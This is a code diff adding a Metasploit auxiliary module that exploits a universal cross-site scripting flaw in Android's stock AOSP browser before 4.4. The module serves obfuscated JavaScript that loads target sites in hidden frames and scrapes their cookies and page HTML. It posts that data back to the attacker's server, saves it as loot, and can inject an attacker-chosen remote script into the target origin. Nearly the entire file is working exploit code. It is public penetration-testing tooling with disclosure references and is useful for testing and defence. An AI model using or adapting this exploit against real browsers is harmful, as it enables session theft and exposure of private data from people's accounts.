|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 11 | + include Msf::Exploit::JSObfu |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in |
| 19 | + all versions of Android's open source stock browser before Android 4.4. If successful, |
| 20 | + an attacker can leverage this bug to scrape both cookie data and page contents from a |
| 21 | + vulnerable browser window. |
| 22 | +
|
| 23 | + Target URLs that use X-Frame-Options can not be exploited with this vulnerability. |
| 24 | + }, |
| 25 | + 'Author' => [ |
| 26 | + 'Rafay Baloch', # Original discovery, disclosure |
| 27 | + 'joev' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Actions' => [ |
| 31 | + [ 'WebServer' ] |
| 32 | + ], |
| 33 | + 'PassiveActions' => [ |
| 34 | + 'WebServer' |
| 35 | + ], |
| 36 | + 'References' => [ |
| 37 | + [ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'], |
| 38 | + [ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ], |
| 39 | + [ 'URL', 'http://trac.webkit.org/changeset/96826' ] |
| 40 | + ], |
| 41 | + 'DefaultAction' => 'WebServer', |
| 42 | + 'DisclosureDate' => "Oct 4 2014" |
| 43 | + )) |
| 44 | + |
| 45 | + register_options([ |
| 46 | + OptString.new('TARGET_URLS', [ |
| 47 | + true, |
| 48 | + "The comma-separated list of URLs to steal.", |
| 49 | + 'http://example.com' |
| 50 | + ]), |
| 51 | + OptString.new('CUSTOM_JS', [ |
| 52 | + false, |
| 53 | + "A string of javascript to execute in the context of the target URLs.", |
| 54 | + '' |
| 55 | + ]), |
| 56 | + OptString.new('REMOTE_JS', [ |
| 57 | + false, |
| 58 | + "A URL to inject into a script tag in the context of the target URLs.", |
| 59 | + '' |
| 60 | + ]) |
| 61 | + ], self.class) |
| 62 | + end |
| 63 | + |
| 64 | + def on_request_uri(cli, request) |
| 65 | + print_status("Request '#{request.method} #{request.uri}'") |
| 66 | + |
| 67 | + if request.method.downcase == 'post' |
| 68 | + collect_data(request) |
| 69 | + send_response_html(cli, '') |
| 70 | + else |
| 71 | + payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) |
| 72 | + domains = datastore['TARGET_URLS'].split(',') |
| 73 | + |
| 74 | + script = js_obfuscate <<-EOS |
| 75 | + window.onerror=alert; |
| 76 | + var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}")); |
| 77 | + targets.forEach(function(target, i){ |
| 78 | + var obj = document.createElement('object'); |
| 79 | + obj.setAttribute('data', target); |
| 80 | + obj.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); |
| 81 | + obj.onload = function() { |
| 82 | + obj.data = 'javascript:if(document&&document.body){(opener||top).postMessage('+ |
| 83 | + 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ |
| 84 | + 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ |
| 85 | + '));}void(0);'; |
| 86 | + obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; |
| 87 | + }; |
| 88 | + document.body.appendChild(obj); |
| 89 | + }); |
| 90 | +
|
| 91 | + window.addEventListener('message', function(e) { |
| 92 | + var data = JSON.parse(e.data); |
| 93 | + var x = new XMLHttpRequest; |
| 94 | + x.open('POST', window.location, true); |
| 95 | + x.send(e.data); |
| 96 | + }, false); |
| 97 | +
|
| 98 | + EOS |
| 99 | + |
| 100 | + html = <<-EOS |
| 101 | + <html> |
| 102 | + <body> |
| 103 | + <script> |
| 104 | + #{script} |
| 105 | + </script> |
| 106 | + </body> |
| 107 | + </html> |
| 108 | + EOS |
| 109 | + |
| 110 | + print_status("Sending initial HTML ...") |
| 111 | + send_response_html(cli, html) |
| 112 | + end |
| 113 | + end |
| 114 | + |
| 115 | + def collect_data(request) |
| 116 | + response = JSON.parse(request.body) |
| 117 | + url = response['url'] |
| 118 | + if response && url |
| 119 | + file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") |
| 120 | + print_good "Collected data from URL: #{url}" |
| 121 | + print_good "Saved to: #{file}" |
| 122 | + end |
| 123 | + end |
| 124 | + |
| 125 | + def custom_js |
| 126 | + rjs_hook + datastore['CUSTOM_JS'] |
| 127 | + end |
| 128 | + |
| 129 | + def rjs_hook |
| 130 | + remote_js = datastore['REMOTE_JS'] |
| 131 | + if remote_js.present? |
| 132 | + "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " |
| 133 | + else |
| 134 | + '' |
| 135 | + end |
| 136 | + end |
| 137 | + |
| 138 | + def run |
| 139 | + exploit |
| 140 | + end |
| 141 | + |
| 142 | +end |
0 commit comments